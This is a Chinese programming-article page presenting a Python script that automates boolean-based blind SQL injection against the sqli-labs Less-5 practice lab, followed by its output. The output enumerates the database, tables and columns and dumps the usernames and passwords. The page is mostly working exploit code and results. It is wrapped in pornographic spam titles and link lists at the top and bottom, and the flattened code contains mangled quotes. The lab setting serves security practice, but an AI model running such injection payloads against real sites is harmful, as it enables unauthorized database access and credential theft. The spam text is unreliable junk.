日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

python實現布爾型盲注的示例代碼

瀏覽:186日期:2022-06-21 10:17:02

好久沒寫python了,就想著寫個簡單的練練手,寫個布爾型盲注自動化腳本,我覺得這個功能寫的非常全了,這里是參考sqli-labs里面的盲注漏洞進行的腳本編寫。

腳本運行時間:6分半左右

bool_sqlblind.py# -*- coding:utf-8 -*-# Author: mochu7import requestsdef ascii_str():#生成庫名表名字符所在的字符列表字典 str_list=[] for i in range(33,127):#所有可顯示字符 str_list.append(chr(i)) #print(’可顯示字符:%s’%str_list) return str_list#返回字符列表def db_length(url,str): print('[-]開始測試數據庫名長度.......') num=1 while True: db_payload=url+'’ and (length(database())=%d)--+'%num r=requests.get(db_payload) if str in r.text: db_length=num print('[+]數據庫長度:%dn'%db_length) db_name(db_length)#進行下一步,測試庫名 break else: num += 1def db_name(db_length): print('[-]開始測試數據庫名.......') db_name=’’ str_list=ascii_str() for i in range(1,db_length+1): for j in str_list: db_payload=url+'’ and (ord(mid(database(),%d,1))=’%s’)--+'%(i,ord(j)) r=requests.get(db_payload) if str in r.text: db_name+=j break print('[+]數據庫名:%sn'%db_name) tb_piece(db_name)#進行下一步,測試security數據庫有幾張表 return db_name def tb_piece(db_name): print('開始測試%s數據庫有幾張表........'%db_name) for i in range(100):#猜解庫中有多少張表,合理范圍即可 tb_payload=url+'’ and %d=(select count(table_name) from information_schema.tables where table_schema=’%s’)--+'%(i,db_name) r=requests.get(tb_payload) if str in r.text: tb_piece=i break print('[+]%s庫一共有%d張表n'%(db_name,tb_piece)) tb_name(db_name,tb_piece)#進行下一步,猜解表名def tb_name(db_name,tb_piece): print('[-]開始猜解表名.......') table_list=[] for i in range(tb_piece): str_list=ascii_str() tb_length=0 tb_name=’’ for j in range(1,20):#表名長度,合理范圍即可 tb_payload=url+'’ and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+'%(i,j) r=requests.get(tb_payload) if str in r.text: tb_length=j print('第%d張表名長度:%s'%(i+1,tb_length)) for k in range(1,tb_length+1):#根據表名長度進行截取對比 for l in str_list: tb_payload=url+'’ and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+'%(i,k,ord(l)) r=requests.get(tb_payload) if str in r.text: tb_name+=l print('[+]:%s'%tb_name) table_list.append(tb_name) break print('n[+]%s庫下的%s張表:%sn'%(db_name,tb_piece,table_list)) column_num(table_list,db_name)#進行下一步,猜解每張表的字段數def column_num(table_list,db_name): print('[-]開始猜解每張表的字段數:.......') column_num_list=[] for i in table_list: for j in range(30):#每張表的字段數量,合理范圍即可 column_payload=url+'’ and %d=(select count(column_name) from information_schema.columns where table_name=’%s’)--+'%(j,i) r=requests.get(column_payload) if str in r.text: column_num=j column_num_list.append(column_num)#把所有表的字段,依次放入這個列表當中 print('[+]%s表t%s個字段'%(i,column_num)) break print('n[+]表對應的字段數:%sn'%column_num_list) column_name(table_list,column_num_list,db_name)#進行下一步,猜解每張表的字段名def column_name(table_list,column_num_list,db_name): print('[-]開始猜解每張表的字段名.......') column_length=[] str_list=ascii_str() column_name_list=[] for t in range(len(table_list)):#t在這里代表每張表的列表索引位置 print('n[+]%s表的字段:'%table_list[t]) for i in range(column_num_list[t]):#i表示每張表的字段數量 column_name=’’ for j in range(1,21):#j表示每個字段的長度 column_name_length=url+'’ and %d=(select length(column_name) from information_schema.columns where table_name=’%s’ limit %d,1)--+'%(j-1,table_list[t],i) r=requests.get(column_name_length) if str in r.text: column_length.append(j) break for k in str_list:#k表示我們猜解的字符字典 column_payload=url+'’ and ord(mid((select column_name from information_schema.columns where table_name=’%s’ limit %d,1),%d,1))=%d--+'%(table_list[t],i,j,ord(k)) r=requests.get(column_payload) if str in r.text: column_name+=k print(’[+]:%s’%column_name) column_name_list.append(column_name) #print(column_name_list)#輸出所有表中的字段名到一個列表中 dump_data(table_list,column_name_list,db_name)#進行最后一步,輸出指定字段的數據def dump_data(table_list,column_name_list,db_name): print('n[-]對%s表的%s字段進行爆破.......n'%(table_list[3],column_name_list[9:12])) str_list=ascii_str() for i in column_name_list[9:12]:#id,username,password字段 for j in range(101):#j表示有多少條數據,合理范圍即可 data_num_payload=url+'’ and (select count(%s) from %s.%s)=%d--+'%(i,db_name,table_list[3],j) r=requests.get(data_num_payload) if str in r.text: data_num=j break print('n[+]%s表中的%s字段有以下%s條數據:'%(table_list[3],i,data_num)) for k in range(data_num): data_len=0 dump_data=’’ for l in range(1,21):#l表示每條數據的長度,合理范圍即可 data_len_payload=url+'’ and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+'%(i,db_name,table_list[3],k,l) r=requests.get(data_len_payload) if str not in r.text: data_len=l-1 for x in range(1,data_len+1):#x表示每條數據的實際范圍,作為mid截取的范圍 for y in str_list: data_payload=url+'’ and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+'%(i,db_name,table_list[3],k,x,ord(y)) r=requests.get(data_payload) if str in r.text:dump_data+=ybreak break print(’[+]%s’%dump_data)#輸出每條數據if __name__ == ’__main__’: url='http://127.0.0.1/sqli-labs/Less-5/?id=1'#目標url str='You are in'#布爾型盲注的true&false的判斷因素 db_length(url,str)#程序入口

運行結果

PS C:UsersAdministratorDesktop> python3 .bool_sqlblind.py [-]開始測試數據庫名長度.......[+]數據庫長度:8

[-]開始測試數據庫名.......[+]數據庫名:security

開始測試security數據庫有幾張表........[+]security庫一共有4張表

[-]開始猜解表名.......第1張表名長度:6[+]:emails第2張表名長度:8[+]:referers第3張表名長度:7[+]:uagents第4張表名長度:5[+]:users

[+]security庫下的4張表:[’emails’, ’referers’, ’uagents’, ’users’]

[-]開始猜解每張表的字段數:.......[+]emails表 2個字段[+]referers表 3個字段[+]uagents表 4個字段[+]users表 7個字段

[+]表對應的字段數:[2, 3, 4, 7]

[-]開始猜解每張表的字段名.......

[+]emails表的字段:[+]:id[+]:email_id

[+]referers表的字段:[+]:id[+]:referer[+]:ip_address

[+]uagents表的字段:[+]:id[+]:uagent[+]:ip_address[+]:username

[+]users表的字段:[+]:id[+]:username[+]:password[+]:level[+]:id[+]:username[+]:password

[-]對users表的[’id’, ’username’, ’password’]字段進行爆破.......

[+]users表中的id字段有以下13條數據:[+]1[+]2[+]3[+]4[+]5[+]6[+]7[+]8[+]9[+]10[+]11[+]12[+]14

[+]users表中的username字段有以下13條數據:[+]Dumb[+]Angelina[+]Dummy[+]secure[+]stupid[+]superman[+]batman[+]admin[+]admin1[+]admin2[+]admin3[+]dhakkan[+]admin4

[+]users表中的password字段有以下13條數據:[+]Dumb[+]I-kill-you[+]p@ssword[+]crappy[+]stupidity[+]genious[+]mob!le[+]admin[+]admin1[+]admin2[+]admin3[+]dumbo[+]admin4PS C:UsersAdministratorDesktop>

到此這篇關于python實現布爾型盲注的示例代碼的文章就介紹到這了,更多相關python布爾盲注內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Python 編程
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
国产成年精品| 亚洲区国产区| 国产在视频一区二区三区吞精| 日韩和欧美一区二区三区| 日本欧洲一区二区| 亚洲一区二区av| 日韩精品一区二区三区免费视频| 黑丝一区二区三区| 免费在线观看成人| 亚洲精品日本| 国产亚洲久久| 精品久久91| 久久青草久久| 日韩亚洲国产欧美| 综合欧美精品| 久久精品99国产精品| 麻豆一区在线| 欧美精品资源| 视频在线观看91| 日韩国产在线不卡视频| 久久精品99国产精品| 精品国产亚洲一区二区三区| 丰满少妇一区| 99精品在线观看| 免费不卡在线视频| 国产午夜一区| 日韩电影二区| 免费欧美一区| 7m精品国产导航在线| 国产一区二区三区不卡av| 91精品一区二区三区综合| 午夜亚洲福利在线老司机| 日本视频中文字幕一区二区三区| 嫩草伊人久久精品少妇av杨幂| 日韩一区二区三区免费| 蜜桃av一区二区| 老牛国内精品亚洲成av人片 | 成人欧美一区二区三区的电影| 久久国产亚洲| 亚洲一级淫片| 成人国产综合| 国产精品三上| 久久av超碰| jiujiure精品视频播放| 日本成人在线网站| 水蜜桃精品av一区二区| 亚洲一区中文| 另类小说一区二区三区| 91精品二区| 亚洲精品大全| 欧洲av不卡| 日本免费新一区视频| 午夜av成人| 久久激情av| 精品一区在线| 欧美黑人做爰爽爽爽| 91高清一区| 精品国产精品国产偷麻豆| 免费成人在线影院| 四虎成人av| 免费的成人av| 日韩精品免费一区二区在线观看 | 精品久久99| 免费在线观看一区二区三区| 精品久久福利| 老司机久久99久久精品播放免费| 激情综合婷婷| 综合在线一区| 久久一区二区三区喷水| 国产图片一区| 亚洲欧美成人综合| 国产精品亚洲一区二区三区在线观看| 日本在线一区二区三区| 激情自拍一区| 国产一区二区三区不卡视频网站 | 午夜日韩av| 高清精品久久| 日韩高清三区| 日韩一级不卡| 成人啊v在线| 麻豆一区二区三区| 日韩精品一级| 亚洲综合不卡| 99久久精品网站| 精品视频一区二区三区四区五区| 综合亚洲视频| 亚洲一区免费| 色一区二区三区| 精品视频亚洲| 国产免费久久| 欧美一区=区三区| 蜜臀av性久久久久蜜臀aⅴ流畅| 久久在线免费| 九色porny丨国产首页在线| 久久91视频| 国产欧美日韩亚洲一区二区三区| 综合激情一区| 亚洲一区日韩| 悠悠资源网久久精品| 日韩高清成人| 成人片免费看| 国产精品99久久精品| 国产日韩欧美三级| 日韩高清欧美激情| 亚州精品视频| 免费高清在线一区| 午夜在线视频一区二区区别| 婷婷综合五月| 伊人成人在线视频| 夜夜嗨一区二区| 欧美1级日本1级| 影视先锋久久| 精品在线播放| 伊人久久成人| 亚洲一区区二区| 久久成人国产| 亚洲色图网站| 老牛国产精品一区的观看方式| 国产精品美女久久久| 久久一二三区| 亚洲精品美女| 欧美日韩午夜| 久久av电影| 精品国产美女a久久9999| 精品一区不卡| 成人黄色av| 久久亚洲成人| 亚洲激情黄色| 亚洲影视一区二区三区| 婷婷综合福利| 国产另类在线| 国产一区二区亚洲| 国产91欧美| 久久久精品久久久久久96 | 一区二区亚洲视频| 日韩精品一区二区三区中文在线 | 国产欧美一区二区精品久久久 | 精品久久网站| av亚洲一区二区三区| 欧美午夜不卡| 亚洲精品免费观看| 欧美日韩亚洲一区在线观看| 国产精品v一区二区三区| 卡一卡二国产精品| 最新中文字幕在线播放| 午夜精品亚洲| 日韩高清欧美激情| 国产91在线播放精品| 婷婷综合亚洲| 亚洲精品大片| 国产精品久久| 中文字幕在线免费观看视频| 欧美日韩高清| 日韩成人在线看| 在线天堂中文资源最新版| 自拍日韩欧美| 91精品日本| 新版的欧美在线视频| 国产亚洲精品久久久久婷婷瑜伽| 日韩和欧美一区二区| 都市激情国产精品| 国产精品美女久久久浪潮软件| 日本不卡视频一二三区| 国产不卡精品| 免费久久99精品国产自在现线| 欧美一级一区| 中文另类视频| 日韩精品亚洲aⅴ在线影院| 卡一精品卡二卡三网站乱码| 不卡在线一区| 久久国产人妖系列| 99精品电影| 欧美一区自拍| 999国产精品| 国产乱码精品一区二区三区亚洲人 | 国产精品国码视频| 在线观看精品| 在线观看一区| jizzjizz中国精品麻豆| 亚久久调教视频| 韩国精品主播一区二区在线观看 | 男人的天堂久久精品| 老司机免费视频一区二区| 午夜久久tv| 国产精品xxxav免费视频| 尤物精品在线| 精品国产亚洲一区二区三区| 美女精品一区| av中文字幕在线观看第一页 | 啪啪国产精品| 日本三级亚洲精品| 99精品在线| 欧美在线91| 99视频精品全国免费| 国产精品一区高清| 先锋影音久久久| 欧美亚洲日本精品| 日韩精品视频中文字幕| 欧美搞黄网站| 国产一区国产二区国产三区|